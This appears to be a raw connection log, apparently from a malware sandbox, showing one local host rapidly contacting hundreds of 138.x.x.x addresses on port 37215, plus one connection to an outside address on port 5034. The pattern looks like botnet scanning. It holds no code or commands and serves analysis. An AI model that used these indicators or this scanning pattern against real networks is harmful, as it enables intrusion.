Feb 19, 2024 18:36:18.861725092 CET	18052	37215	192.168.2.15	138.12.234.175
Feb 19, 2024 18:36:18.861788988 CET	18052	37215	192.168.2.15	138.225.247.240
Feb 19, 2024 18:36:18.861793041 CET	18052	37215	192.168.2.15	138.120.199.125
Feb 19, 2024 18:36:18.861793995 CET	18052	37215	192.168.2.15	138.80.47.158
Feb 19, 2024 18:36:18.861798048 CET	18052	37215	192.168.2.15	138.91.46.205
Feb 19, 2024 18:36:18.861799002 CET	18052	37215	192.168.2.15	138.182.76.241
Feb 19, 2024 18:36:18.861841917 CET	18052	37215	192.168.2.15	138.213.15.31
Feb 19, 2024 18:36:18.861861944 CET	18052	37215	192.168.2.15	138.177.69.225
Feb 19, 2024 18:36:18.861880064 CET	18052	37215	192.168.2.15	138.195.116.89
Feb 19, 2024 18:36:18.861938000 CET	18052	37215	192.168.2.15	138.239.1.201
Feb 19, 2024 18:36:18.861938000 CET	18052	37215	192.168.2.15	138.99.114.32
Feb 19, 2024 18:36:18.861938953 CET	18052	37215	192.168.2.15	138.248.251.156
Feb 19, 2024 18:36:18.861978054 CET	18052	37215	192.168.2.15	138.135.139.72
Feb 19, 2024 18:36:18.861983061 CET	18052	37215	192.168.2.15	138.177.138.254
Feb 19, 2024 18:36:18.861999989 CET	18052	37215	192.168.2.15	138.255.182.198
Feb 19, 2024 18:36:18.862020016 CET	18052	37215	192.168.2.15	138.85.146.154
Feb 19, 2024 18:36:18.862040997 CET	18052	37215	192.168.2.15	138.152.238.166
Feb 19, 2024 18:36:18.862135887 CET	18052	37215	192.168.2.15	138.108.43.103
Feb 19, 2024 18:36:18.862144947 CET	18052	37215	192.168.2.15	138.147.205.86
Feb 19, 2024 18:36:18.862144947 CET	18052	37215	192.168.2.15	138.141.35.32
Feb 19, 2024 18:36:18.862149954 CET	18052	37215	192.168.2.15	138.65.38.231
Feb 19, 2024 18:36:18.862152100 CET	18052	37215	192.168.2.15	138.153.33.108
Feb 19, 2024 18:36:18.862164021 CET	18052	37215	192.168.2.15	138.53.149.11
Feb 19, 2024 18:36:18.862258911 CET	18052	37215	192.168.2.15	138.166.205.191
Feb 19, 2024 18:36:18.862260103 CET	18052	37215	192.168.2.15	138.132.217.98
Feb 19, 2024 18:36:18.862260103 CET	18052	37215	192.168.2.15	138.150.0.11
Feb 19, 2024 18:36:18.862261057 CET	18052	37215	192.168.2.15	138.154.182.105
Feb 19, 2024 18:36:18.862272978 CET	18052	37215	192.168.2.15	138.88.0.176
Feb 19, 2024 18:36:18.862274885 CET	18052	37215	192.168.2.15	138.102.220.242
Feb 19, 2024 18:36:18.862294912 CET	18052	37215	192.168.2.15	138.10.135.18
Feb 19, 2024 18:36:18.862376928 CET	18052	37215	192.168.2.15	138.25.117.45
Feb 19, 2024 18:36:18.862395048 CET	18052	37215	192.168.2.15	138.137.39.39
Feb 19, 2024 18:36:18.862395048 CET	18052	37215	192.168.2.15	138.3.8.248
Feb 19, 2024 18:36:18.862405062 CET	18052	37215	192.168.2.15	138.68.49.69
Feb 19, 2024 18:36:18.862410069 CET	18052	37215	192.168.2.15	138.92.20.52
Feb 19, 2024 18:36:18.862421989 CET	18052	37215	192.168.2.15	138.243.34.239
Feb 19, 2024 18:36:18.862471104 CET	18052	37215	192.168.2.15	138.163.151.0
Feb 19, 2024 18:36:18.862524986 CET	18052	37215	192.168.2.15	138.114.11.177
Feb 19, 2024 18:36:18.862524986 CET	18052	37215	192.168.2.15	138.176.139.112
Feb 19, 2024 18:36:18.862525940 CET	18052	37215	192.168.2.15	138.217.77.168
Feb 19, 2024 18:36:18.862526894 CET	18052	37215	192.168.2.15	138.197.60.103
Feb 19, 2024 18:36:18.862526894 CET	18052	37215	192.168.2.15	138.86.211.189
Feb 19, 2024 18:36:18.862550974 CET	18052	37215	192.168.2.15	138.78.150.251
Feb 19, 2024 18:36:18.862572908 CET	18052	37215	192.168.2.15	138.199.158.197
Feb 19, 2024 18:36:18.862664938 CET	18052	37215	192.168.2.15	138.31.254.64
Feb 19, 2024 18:36:18.862667084 CET	18052	37215	192.168.2.15	138.245.205.228
Feb 19, 2024 18:36:18.862672091 CET	18052	37215	192.168.2.15	138.34.97.195
Feb 19, 2024 18:36:18.862674952 CET	18052	37215	192.168.2.15	138.80.235.252
Feb 19, 2024 18:36:18.862678051 CET	18052	37215	192.168.2.15	138.120.92.184
Feb 19, 2024 18:36:18.862678051 CET	18052	37215	192.168.2.15	138.36.179.113
Feb 19, 2024 18:36:18.862696886 CET	18052	37215	192.168.2.15	138.99.69.67
Feb 19, 2024 18:36:18.862719059 CET	18052	37215	192.168.2.15	138.126.96.112
Feb 19, 2024 18:36:18.862735987 CET	18052	37215	192.168.2.15	138.5.248.53
Feb 19, 2024 18:36:18.862746000 CET	18052	37215	192.168.2.15	138.204.228.178
Feb 19, 2024 18:36:18.862755060 CET	18052	37215	192.168.2.15	138.232.87.35
Feb 19, 2024 18:36:18.862811089 CET	18052	37215	192.168.2.15	138.227.225.135
Feb 19, 2024 18:36:18.862862110 CET	18052	37215	192.168.2.15	138.91.143.76
Feb 19, 2024 18:36:18.862863064 CET	18052	37215	192.168.2.15	138.191.205.205
Feb 19, 2024 18:36:18.862864017 CET	18052	37215	192.168.2.15	138.135.131.177
Feb 19, 2024 18:36:18.862927914 CET	18052	37215	192.168.2.15	138.241.99.151
Feb 19, 2024 18:36:18.862927914 CET	18052	37215	192.168.2.15	138.33.122.174
Feb 19, 2024 18:36:18.862929106 CET	18052	37215	192.168.2.15	138.4.195.21
Feb 19, 2024 18:36:18.862934113 CET	18052	37215	192.168.2.15	138.144.194.2
Feb 19, 2024 18:36:18.862943888 CET	18052	37215	192.168.2.15	138.129.64.130
Feb 19, 2024 18:36:18.863003969 CET	18052	37215	192.168.2.15	138.119.191.6
Feb 19, 2024 18:36:18.863049984 CET	18052	37215	192.168.2.15	138.173.160.17
Feb 19, 2024 18:36:18.863051891 CET	18052	37215	192.168.2.15	138.171.94.255
Feb 19, 2024 18:36:18.863063097 CET	18052	37215	192.168.2.15	138.254.235.173
Feb 19, 2024 18:36:18.863085985 CET	18052	37215	192.168.2.15	138.228.126.97
Feb 19, 2024 18:36:18.863085985 CET	18052	37215	192.168.2.15	138.52.43.15
Feb 19, 2024 18:36:18.863092899 CET	18052	37215	192.168.2.15	138.44.6.125
Feb 19, 2024 18:36:18.863101959 CET	18052	37215	192.168.2.15	138.227.34.239
Feb 19, 2024 18:36:18.863118887 CET	18052	37215	192.168.2.15	138.0.190.127
Feb 19, 2024 18:36:18.863151073 CET	18052	37215	192.168.2.15	138.97.83.197
Feb 19, 2024 18:36:18.863172054 CET	18052	37215	192.168.2.15	138.69.117.81
Feb 19, 2024 18:36:18.863229990 CET	18052	37215	192.168.2.15	138.249.217.74
Feb 19, 2024 18:36:18.863276958 CET	18052	37215	192.168.2.15	138.18.19.141
Feb 19, 2024 18:36:18.863286972 CET	18052	37215	192.168.2.15	138.146.63.2
Feb 19, 2024 18:36:18.863316059 CET	18052	37215	192.168.2.15	138.51.102.239
Feb 19, 2024 18:36:18.863316059 CET	18052	37215	192.168.2.15	138.205.36.4
Feb 19, 2024 18:36:18.863321066 CET	18052	37215	192.168.2.15	138.150.7.77
Feb 19, 2024 18:36:18.863337994 CET	18052	37215	192.168.2.15	138.75.204.138
Feb 19, 2024 18:36:18.863365889 CET	18052	37215	192.168.2.15	138.90.185.23
Feb 19, 2024 18:36:18.863388062 CET	18052	37215	192.168.2.15	138.244.87.93
Feb 19, 2024 18:36:18.863392115 CET	18052	37215	192.168.2.15	138.206.32.82
Feb 19, 2024 18:36:18.863459110 CET	18052	37215	192.168.2.15	138.74.254.61
Feb 19, 2024 18:36:18.863461018 CET	18052	37215	192.168.2.15	138.71.71.5
Feb 19, 2024 18:36:18.863461971 CET	18052	37215	192.168.2.15	138.216.236.125
Feb 19, 2024 18:36:18.863493919 CET	18052	37215	192.168.2.15	138.168.81.172
Feb 19, 2024 18:36:18.863501072 CET	18052	37215	192.168.2.15	138.189.24.98
Feb 19, 2024 18:36:18.863518000 CET	18052	37215	192.168.2.15	138.115.93.40
Feb 19, 2024 18:36:18.863629103 CET	18052	37215	192.168.2.15	138.98.154.24
Feb 19, 2024 18:36:18.863636971 CET	18052	37215	192.168.2.15	138.93.242.40
Feb 19, 2024 18:36:18.863641024 CET	18052	37215	192.168.2.15	138.150.202.135
Feb 19, 2024 18:36:18.863641024 CET	18052	37215	192.168.2.15	138.123.82.88
Feb 19, 2024 18:36:18.863641024 CET	18052	37215	192.168.2.15	138.22.13.231
Feb 19, 2024 18:36:18.863687038 CET	18052	37215	192.168.2.15	138.218.141.64
Feb 19, 2024 18:36:18.863687038 CET	18052	37215	192.168.2.15	138.225.42.64
Feb 19, 2024 18:36:18.863692045 CET	18052	37215	192.168.2.15	138.65.48.107
Feb 19, 2024 18:36:18.863692999 CET	18052	37215	192.168.2.15	138.106.216.53
Feb 19, 2024 18:36:18.863693953 CET	18052	37215	192.168.2.15	138.218.234.232
Feb 19, 2024 18:36:18.863692999 CET	18052	37215	192.168.2.15	138.90.125.152
Feb 19, 2024 18:36:18.863722086 CET	18052	37215	192.168.2.15	138.27.124.231
Feb 19, 2024 18:36:18.863722086 CET	18052	37215	192.168.2.15	138.193.80.93
Feb 19, 2024 18:36:18.863789082 CET	18052	37215	192.168.2.15	138.89.49.152
Feb 19, 2024 18:36:18.863790989 CET	18052	37215	192.168.2.15	138.104.186.193
Feb 19, 2024 18:36:18.863805056 CET	18052	37215	192.168.2.15	138.124.140.196
Feb 19, 2024 18:36:18.863826990 CET	18052	37215	192.168.2.15	138.74.57.174
Feb 19, 2024 18:36:18.863830090 CET	18052	37215	192.168.2.15	138.99.179.48
Feb 19, 2024 18:36:18.863919020 CET	18052	37215	192.168.2.15	138.41.184.24
Feb 19, 2024 18:36:18.863925934 CET	18052	37215	192.168.2.15	138.15.131.146
Feb 19, 2024 18:36:18.863929987 CET	18052	37215	192.168.2.15	138.0.122.53
Feb 19, 2024 18:36:18.863936901 CET	18052	37215	192.168.2.15	138.239.233.92
Feb 19, 2024 18:36:18.863936901 CET	18052	37215	192.168.2.15	138.191.33.151
Feb 19, 2024 18:36:18.863996029 CET	18052	37215	192.168.2.15	138.61.66.163
Feb 19, 2024 18:36:18.864046097 CET	18052	37215	192.168.2.15	138.160.214.129
Feb 19, 2024 18:36:18.864051104 CET	18052	37215	192.168.2.15	138.204.14.10
Feb 19, 2024 18:36:18.864053011 CET	18052	37215	192.168.2.15	138.62.55.174
Feb 19, 2024 18:36:18.864068985 CET	18052	37215	192.168.2.15	138.82.98.28
Feb 19, 2024 18:36:18.864070892 CET	18052	37215	192.168.2.15	138.47.239.86
Feb 19, 2024 18:36:18.864109039 CET	18052	37215	192.168.2.15	138.72.69.104
Feb 19, 2024 18:36:18.864129066 CET	18052	37215	192.168.2.15	138.115.33.248
Feb 19, 2024 18:36:18.864130974 CET	18052	37215	192.168.2.15	138.124.21.1
Feb 19, 2024 18:36:18.864162922 CET	18052	37215	192.168.2.15	138.32.170.136
Feb 19, 2024 18:36:18.864170074 CET	18052	37215	192.168.2.15	138.160.201.152
Feb 19, 2024 18:36:18.864175081 CET	18052	37215	192.168.2.15	138.191.118.212
Feb 19, 2024 18:36:18.864192963 CET	18052	37215	192.168.2.15	138.212.146.1
Feb 19, 2024 18:36:18.864207029 CET	18052	37215	192.168.2.15	138.42.226.96
Feb 19, 2024 18:36:18.864244938 CET	18052	37215	192.168.2.15	138.182.56.74
Feb 19, 2024 18:36:18.864257097 CET	18052	37215	192.168.2.15	138.238.42.79
Feb 19, 2024 18:36:18.864326954 CET	18052	37215	192.168.2.15	138.76.146.50
Feb 19, 2024 18:36:18.864348888 CET	18052	37215	192.168.2.15	138.64.28.212
Feb 19, 2024 18:36:18.864352942 CET	18052	37215	192.168.2.15	138.170.161.36
Feb 19, 2024 18:36:18.864356041 CET	18052	37215	192.168.2.15	138.132.137.94
Feb 19, 2024 18:36:18.864372015 CET	18052	37215	192.168.2.15	138.111.13.131
Feb 19, 2024 18:36:18.864372969 CET	18052	37215	192.168.2.15	138.105.139.119
Feb 19, 2024 18:36:18.864378929 CET	18052	37215	192.168.2.15	138.55.96.95
Feb 19, 2024 18:36:18.864394903 CET	18052	37215	192.168.2.15	138.27.144.139
Feb 19, 2024 18:36:18.864453077 CET	18052	37215	192.168.2.15	138.101.193.106
Feb 19, 2024 18:36:18.864454031 CET	18052	37215	192.168.2.15	138.249.75.57
Feb 19, 2024 18:36:18.864505053 CET	18052	37215	192.168.2.15	138.88.81.89
Feb 19, 2024 18:36:18.864514112 CET	18052	37215	192.168.2.15	138.222.76.17
Feb 19, 2024 18:36:18.864526033 CET	18052	37215	192.168.2.15	138.0.105.114
Feb 19, 2024 18:36:18.864526987 CET	18052	37215	192.168.2.15	138.226.76.123
Feb 19, 2024 18:36:18.864533901 CET	18052	37215	192.168.2.15	138.228.183.190
Feb 19, 2024 18:36:18.864576101 CET	18052	37215	192.168.2.15	138.43.184.113
Feb 19, 2024 18:36:18.864639997 CET	18052	37215	192.168.2.15	138.97.244.126
Feb 19, 2024 18:36:18.864639997 CET	18052	37215	192.168.2.15	138.171.200.216
Feb 19, 2024 18:36:18.864645004 CET	18052	37215	192.168.2.15	138.89.131.64
Feb 19, 2024 18:36:18.864645958 CET	18052	37215	192.168.2.15	138.57.199.213
Feb 19, 2024 18:36:18.864875078 CET	18052	37215	192.168.2.15	138.30.155.13
Feb 19, 2024 18:36:18.864905119 CET	18052	37215	192.168.2.15	138.43.136.240
Feb 19, 2024 18:36:18.864938021 CET	18052	37215	192.168.2.15	138.124.141.122
Feb 19, 2024 18:36:18.864938021 CET	18052	37215	192.168.2.15	138.7.188.245
Feb 19, 2024 18:36:18.864938021 CET	18052	37215	192.168.2.15	138.106.71.198
Feb 19, 2024 18:36:18.864939928 CET	18052	37215	192.168.2.15	138.29.142.30
Feb 19, 2024 18:36:18.864967108 CET	18052	37215	192.168.2.15	138.30.235.73
Feb 19, 2024 18:36:18.865016937 CET	18052	37215	192.168.2.15	138.213.3.224
Feb 19, 2024 18:36:18.865019083 CET	18052	37215	192.168.2.15	138.249.143.89
Feb 19, 2024 18:36:18.865019083 CET	18052	37215	192.168.2.15	138.101.56.164
Feb 19, 2024 18:36:18.865019083 CET	18052	37215	192.168.2.15	138.124.211.230
Feb 19, 2024 18:36:18.865071058 CET	18052	37215	192.168.2.15	138.14.63.139
Feb 19, 2024 18:36:18.865072966 CET	18052	37215	192.168.2.15	138.177.174.108
Feb 19, 2024 18:36:18.865084887 CET	18052	37215	192.168.2.15	138.183.194.155
Feb 19, 2024 18:36:18.865133047 CET	18052	37215	192.168.2.15	138.119.242.93
Feb 19, 2024 18:36:18.865134001 CET	18052	37215	192.168.2.15	138.229.200.198
Feb 19, 2024 18:36:18.865134001 CET	18052	37215	192.168.2.15	138.241.170.195
Feb 19, 2024 18:36:18.865134954 CET	18052	37215	192.168.2.15	138.116.82.6
Feb 19, 2024 18:36:18.865185022 CET	18052	37215	192.168.2.15	138.75.223.89
Feb 19, 2024 18:36:18.865190983 CET	18052	37215	192.168.2.15	138.166.31.250
Feb 19, 2024 18:36:18.865259886 CET	18052	37215	192.168.2.15	138.209.203.235
Feb 19, 2024 18:36:18.865259886 CET	18052	37215	192.168.2.15	138.47.14.171
Feb 19, 2024 18:36:18.865262032 CET	18052	37215	192.168.2.15	138.233.122.100
Feb 19, 2024 18:36:18.865276098 CET	18052	37215	192.168.2.15	138.120.69.4
Feb 19, 2024 18:36:18.865278006 CET	18052	37215	192.168.2.15	138.51.190.160
Feb 19, 2024 18:36:18.865302086 CET	18052	37215	192.168.2.15	138.76.110.182
Feb 19, 2024 18:36:18.865310907 CET	18052	37215	192.168.2.15	138.72.9.54
Feb 19, 2024 18:36:18.865338087 CET	18052	37215	192.168.2.15	138.65.233.102
Feb 19, 2024 18:36:18.865360975 CET	18052	37215	192.168.2.15	138.32.185.188
Feb 19, 2024 18:36:18.865384102 CET	18052	37215	192.168.2.15	138.90.213.43
Feb 19, 2024 18:36:18.865401030 CET	18052	37215	192.168.2.15	138.114.62.237
Feb 19, 2024 18:36:18.865478992 CET	18052	37215	192.168.2.15	138.49.183.143
Feb 19, 2024 18:36:18.865497112 CET	18052	37215	192.168.2.15	138.228.251.173
Feb 19, 2024 18:36:18.865510941 CET	18052	37215	192.168.2.15	138.60.232.10
Feb 19, 2024 18:36:18.865526915 CET	18052	37215	192.168.2.15	138.216.16.153
Feb 19, 2024 18:36:18.865542889 CET	18052	37215	192.168.2.15	138.214.106.202
Feb 19, 2024 18:36:18.865559101 CET	18052	37215	192.168.2.15	138.210.44.246
Feb 19, 2024 18:36:18.865576982 CET	18052	37215	192.168.2.15	138.81.93.177
Feb 19, 2024 18:36:18.865596056 CET	18052	37215	192.168.2.15	138.48.26.252
Feb 19, 2024 18:36:18.865614891 CET	18052	37215	192.168.2.15	138.140.59.94
Feb 19, 2024 18:36:18.865633965 CET	18052	37215	192.168.2.15	138.115.190.188
Feb 19, 2024 18:36:18.865669966 CET	18052	37215	192.168.2.15	138.105.120.137
Feb 19, 2024 18:36:18.865685940 CET	18052	37215	192.168.2.15	138.25.223.53
Feb 19, 2024 18:36:18.865703106 CET	18052	37215	192.168.2.15	138.111.61.119
Feb 19, 2024 18:36:18.865744114 CET	18052	37215	192.168.2.15	138.165.192.107
Feb 19, 2024 18:36:18.865760088 CET	18052	37215	192.168.2.15	138.80.20.220
Feb 19, 2024 18:36:18.865777016 CET	18052	37215	192.168.2.15	138.190.197.231
Feb 19, 2024 18:36:18.865808964 CET	18052	37215	192.168.2.15	138.242.90.163
Feb 19, 2024 18:36:18.865827084 CET	18052	37215	192.168.2.15	138.184.36.241
Feb 19, 2024 18:36:18.865850925 CET	18052	37215	192.168.2.15	138.90.89.202
Feb 19, 2024 18:36:18.866229057 CET	48896	5034	192.168.2.15	41.216.183.27
Feb 19, 2024 18:36:18.866367102 CET	18052	37215	192.168.2.15	138.103.246.224
Feb 19, 2024 18:36:18.866385937 CET	18052	37215	192.168.2.15	138.192.180.74
Feb 19, 2024 18:36:18.866405010 CET	18052	37215	192.168.2.15	138.82.67.53
Feb 19, 2024 18:36:18.866419077 CET	18052	37215	192.168.2.15	138.33.148.119
Feb 19, 2024 18:36:18.866436005 CET	18052	37215	192.168.2.15	138.218.26.213
Feb 19, 2024 18:36:18.866451025 CET	18052	37215	192.168.2.15	138.15.144.250
Feb 19, 2024 18:36:18.866473913 CET	18052	37215	192.168.2.15	138.251.87.62
Feb 19, 2024 18:36:18.866487980 CET	18052	37215	192.168.2.15	138.41.91.151
Feb 19, 2024 18:36:18.866509914 CET	18052	37215	192.168.2.15	138.58.226.251
Feb 19, 2024 18:36:18.866523027 CET	18052	37215	192.168.2.15	138.57.136.12
Feb 19, 2024 18:36:18.866552114 CET	18052	37215	192.168.2.15	138.143.105.211
Feb 19, 2024 18:36:18.866570950 CET	18052	37215	192.168.2.15	138.200.192.74
Feb 19, 2024 18:36:18.866588116 CET	18052	37215	192.168.2.15	138.53.10.68
Feb 19, 2024 18:36:18.866602898 CET	18052	37215	192.168.2.15	138.172.47.76
Feb 19, 2024 18:36:18.866619110 CET	18052	37215	192.168.2.15	138.97.165.169
Feb 19, 2024 18:36:18.866636038 CET	18052	37215	192.168.2.15	138.36.129.163
Feb 19, 2024 18:36:18.866653919 CET	18052	37215	192.168.2.15	138.138.154.43
Feb 19, 2024 18:36:18.866672039 CET	18052	37215	192.168.2.15	138.30.45.236
Feb 19, 2024 18:36:18.866688013 CET	18052	37215	192.168.2.15	138.178.116.56
Feb 19, 2024 18:36:18.866705894 CET	18052	37215	192.168.2.15	138.73.230.210
Feb 19, 2024 18:36:18.866724014 CET	18052	37215	192.168.2.15	138.232.5.129
Feb 19, 2024 18:36:18.866738081 CET	18052	37215	192.168.2.15	138.75.216.235
Feb 19, 2024 18:36:18.866754055 CET	18052	37215	192.168.2.15	138.52.31.177
Feb 19, 2024 18:36:18.866771936 CET	18052	37215	192.168.2.15	138.126.119.58
Feb 19, 2024 18:36:18.866786003 CET	18052	37215	192.168.2.15	138.234.159.207
Feb 19, 2024 18:36:18.866801023 CET	18052	37215	192.168.2.15	138.90.152.173
Feb 19, 2024 18:36:18.866816044 CET	18052	37215	192.168.2.15	138.11.133.106
Feb 19, 2024 18:36:18.866835117 CET	18052	37215	192.168.2.15	138.89.18.224
Feb 19, 2024 18:36:18.866869926 CET	18052	37215	192.168.2.15	138.192.209.45
Feb 19, 2024 18:36:18.866887093 CET	18052	37215	192.168.2.15	138.22.252.113
Feb 19, 2024 18:36:18.866900921 CET	18052	37215	192.168.2.15	138.148.128.199
Feb 19, 2024 18:36:18.866939068 CET	18052	37215	192.168.2.15	138.56.71.227
Feb 19, 2024 18:36:18.866955996 CET	18052	37215	192.168.2.15	138.83.44.208
Feb 19, 2024 18:36:18.866975069 CET	18052	37215	192.168.2.15	138.102.40.137
Feb 19, 2024 18:36:18.866993904 CET	18052	37215	192.168.2.15	138.223.98.105
Feb 19, 2024 18:36:18.867022038 CET	18052	37215	192.168.2.15	138.62.98.82
Feb 19, 2024 18:36:18.867042065 CET	18052	37215	192.168.2.15	138.208.128.197
Feb 19, 2024 18:36:18.867062092 CET	18052	37215	192.168.2.15	138.178.96.169
Feb 19, 2024 18:36:18.867094994 CET	18052	37215	192.168.2.15	138.9.196.238
Feb 19, 2024 18:36:18.867110968 CET	18052	37215	192.168.2.15	138.188.16.50
Feb 19, 2024 18:36:18.867129087 CET	18052	37215	192.168.2.15	138.185.37.213
Feb 19, 2024 18:36:18.867146015 CET	18052	37215	192.168.2.15	138.192.124.163
Feb 19, 2024 18:36:18.867162943 CET	18052	37215	192.168.2.15	138.48.87.82
Feb 19, 2024 18:36:18.867186069 CET	18052	37215	192.168.2.15	138.144.172.198
Feb 19, 2024 18:36:18.867202997 CET	18052	37215	192.168.2.15	138.64.36.128
Feb 19, 2024 18:36:18.867218971 CET	18052	37215	192.168.2.15	138.10.112.39
Feb 19, 2024 18:36:18.867243052 CET	18052	37215	192.168.2.15	138.1.82.41
Feb 19, 2024 18:36:18.867259979 CET	18052	37215	192.168.2.15	138.16.234.218
Feb 19, 2024 18:36:18.867278099 CET	18052	37215	192.168.2.15	138.154.20.78
Feb 19, 2024 18:36:18.867295980 CET	18052	37215	192.168.2.15	138.21.224.234
Feb 19, 2024 18:36:18.867327929 CET	18052	37215	192.168.2.15	138.122.79.94
Feb 19, 2024 18:36:18.867341995 CET	18052	37215	192.168.2.15	138.249.214.254
Feb 19, 2024 18:36:18.867363930 CET	18052	37215	192.168.2.15	138.97.32.127
Feb 19, 2024 18:36:18.867383957 CET	18052	37215	192.168.2.15	138.180.134.157
Feb 19, 2024 18:36:18.867409945 CET	18052	37215	192.168.2.15	138.239.127.72
Feb 19, 2024 18:36:18.867434025 CET	18052	37215	192.168.2.15	138.128.181.131
Feb 19, 2024 18:36:18.867454052 CET	18052	37215	192.168.2.15	138.252.192.104
Feb 19, 2024 18:36:18.867481947 CET	18052	37215	192.168.2.15	138.250.236.147
Feb 19, 2024 18:36:18.867497921 CET	18052	37215	192.168.2.15	138.3.116.130
Feb 19, 2024 18:36:18.867515087 CET	18052	37215	192.168.2.15	138.240.64.86
Feb 19, 2024 18:36:18.867532015 CET	18052	37215	192.168.2.15	138.188.148.81
Feb 19, 2024 18:36:18.867546082 CET	18052	37215	192.168.2.15	138.91.187.207
Feb 19, 2024 18:36:18.867589951 CET	18052	37215	192.168.2.15	138.131.239.182
Feb 19, 2024 18:36:18.867594004 CET	18052	37215	192.168.2.15	138.136.63.127
Feb 19, 2024 18:36:18.867605925 CET	18052	37215	192.168.2.15	138.111.138.162
Feb 19, 2024 18:36:18.867611885 CET	18052	37215	192.168.2.15	138.49.48.39
Feb 19, 2024 18:36:18.867629051 CET	18052	37215	192.168.2.15	138.9.224.4
Feb 19, 2024 18:36:18.867686033 CET	18052	37215	192.168.2.15	138.171.224.85
Feb 19, 2024 18:36:18.867688894 CET	18052	37215	192.168.2.15	138.183.16.191
Feb 19, 2024 18:36:18.867700100 CET	18052	37215	192.168.2.15	138.242.230.235
Feb 19, 2024 18:36:18.867713928 CET	18052	37215	192.168.2.15	138.179.24.153
Feb 19, 2024 18:36:18.867738008 CET	18052	37215	192.168.2.15	138.61.6.132
Feb 19, 2024 18:36:18.867749929 CET	18052	37215	192.168.2.15	138.230.96.28
Feb 19, 2024 18:36:18.867763996 CET	18052	37215	192.168.2.15	138.141.189.154
Feb 19, 2024 18:36:18.867783070 CET	18052	37215	192.168.2.15	138.175.193.11
Feb 19, 2024 18:36:18.867799997 CET	18052	37215	192.168.2.15	138.138.7.117
Feb 19, 2024 18:36:18.867821932 CET	18052	37215	192.168.2.15	138.78.237.31
Feb 19, 2024 18:36:18.867847919 CET	18052	37215	192.168.2.15	138.128.101.77
Feb 19, 2024 18:36:18.867855072 CET	18052	37215	192.168.2.15	138.132.200.136
Feb 19, 2024 18:36:18.867871046 CET	18052	37215	192.168.2.15	138.140.193.39
Feb 19, 2024 18:36:18.867892981 CET	18052	37215	192.168.2.15	138.147.125.7
Feb 19, 2024 18:36:18.867960930 CET	18052	37215	192.168.2.15	138.227.213.127
Feb 19, 2024 18:36:18.868002892 CET	18052	37215	192.168.2.15	138.71.177.178
Feb 19, 2024 18:36:18.868011951 CET	18052	37215	192.168.2.15	138.211.249.228
Feb 19, 2024 18:36:18.868030071 CET	18052	37215	192.168.2.15	138.103.194.98
Feb 19, 2024 18:36:18.868144989 CET	18052	37215	192.168.2.15	138.218.96.182
Feb 19, 2024 18:36:18.868145943 CET	18052	37215	192.168.2.15	138.171.255.66
Feb 19, 2024 18:36:18.868153095 CET	18052	37215	192.168.2.15	138.190.82.79
Feb 19, 2024 18:36:18.868153095 CET	18052	37215	192.168.2.15	138.156.168.251
Feb 19, 2024 18:36:18.868158102 CET	18052	37215	192.168.2.15	138.105.5.210
Feb 19, 2024 18:36:18.868164062 CET	18052	37215	192.168.2.15	138.218.229.106
Feb 19, 2024 18:36:18.868164062 CET	18052	37215	192.168.2.15	138.223.74.213
Feb 19, 2024 18:36:18.868164062 CET	18052	37215	192.168.2.15	138.88.201.185
Feb 19, 2024 18:36:18.868166924 CET	18052	37215	192.168.2.15	138.215.199.142
Feb 19, 2024 18:36:18.868181944 CET	18052	37215	192.168.2.15	138.94.161.141
Feb 19, 2024 18:36:18.868199110 CET	18052	37215	192.168.2.15	138.129.217.229
Feb 19, 2024 18:36:18.868257999 CET	18052	37215	192.168.2.15	138.158.57.232
Feb 19, 2024 18:36:18.868259907 CET	18052	37215	192.168.2.15	138.118.104.7
Feb 19, 2024 18:36:18.868303061 CET	18052	37215	192.168.2.15	138.163.92.62
Feb 19, 2024 18:36:18.868310928 CET	18052	37215	192.168.2.15	138.0.165.252
Feb 19, 2024 18:36:18.868311882 CET	18052	37215	192.168.2.15	138.80.160.175
Feb 19, 2024 18:36:18.868310928 CET	18052	37215	192.168.2.15	138.46.150.24
Feb 19, 2024 18:36:18.868330956 CET	18052	37215	192.168.2.15	138.62.164.34
Feb 19, 2024 18:36:18.868341923 CET	18052	37215	192.168.2.15	138.209.40.67
Feb 19, 2024 18:36:18.868386030 CET	18052	37215	192.168.2.15	138.190.46.187
Feb 19, 2024 18:36:18.868406057 CET	18052	37215	192.168.2.15	138.161.29.72
Feb 19, 2024 18:36:18.868417978 CET	18052	37215	192.168.2.15	138.222.155.202
Feb 19, 2024 18:36:18.868434906 CET	18052	37215	192.168.2.15	138.198.211.195
Feb 19, 2024 18:36:18.868451118 CET	18052	37215	192.168.2.15	138.251.143.177
Feb 19, 2024 18:36:18.868467093 CET	18052	37215	192.168.2.15	138.112.156.182
Feb 19, 2024 18:36:18.868486881 CET	18052	37215	192.168.2.15	138.156.129.98
Feb 19, 2024 18:36:18.868504047 CET	18052	37215	192.168.2.15	138.223.150.193
Feb 19, 2024 18:36:18.868520975 CET	18052	37215	192.168.2.15	138.204.7.247
Feb 19, 2024 18:36:18.868540049 CET	18052	37215	192.168.2.15	138.90.39.234
Feb 19, 2024 18:36:18.868560076 CET	18052	37215	192.168.2.15	138.42.204.236
Feb 19, 2024 18:36:18.868577957 CET	18052	37215	192.168.2.15	138.73.60.80
Feb 19, 2024 18:36:18.868633032 CET	18052	37215	192.168.2.15	138.29.213.196
Feb 19, 2024 18:36:18.868681908 CET	18052	37215	192.168.2.15	138.122.220.54
Feb 19, 2024 18:36:18.868689060 CET	18052	37215	192.168.2.15	138.0.221.155
Feb 19, 2024 18:36:18.868695021 CET	18052	37215	192.168.2.15	138.89.243.97
Feb 19, 2024 18:36:18.868695021 CET	18052	37215	192.168.2.15	138.202.232.7
Feb 19, 2024 18:36:18.868717909 CET	18052	37215	192.168.2.15	138.155.117.28
Feb 19, 2024 18:36:18.868721962 CET	18052	37215	192.168.2.15	138.190.104.55
Feb 19, 2024 18:36:18.868777037 CET	18052	37215	192.168.2.15	138.29.95.56
Feb 19, 2024 18:36:18.868832111 CET	18052	37215	192.168.2.15	138.44.249.229
Feb 19, 2024 18:36:18.868839025 CET	18052	37215	192.168.2.15	138.250.2.175
Feb 19, 2024 18:36:18.868845940 CET	18052	37215	192.168.2.15	138.45.206.66
Feb 19, 2024 18:36:18.868849039 CET	18052	37215	192.168.2.15	138.180.165.101
Feb 19, 2024 18:36:18.868851900 CET	18052	37215	192.168.2.15	138.216.190.132
Feb 19, 2024 18:36:18.868870974 CET	18052	37215	192.168.2.15	138.1.241.17
Feb 19, 2024 18:36:18.868926048 CET	18052	37215	192.168.2.15	138.250.177.13
Feb 19, 2024 18:36:18.868926048 CET	18052	37215	192.168.2.15	138.93.18.191
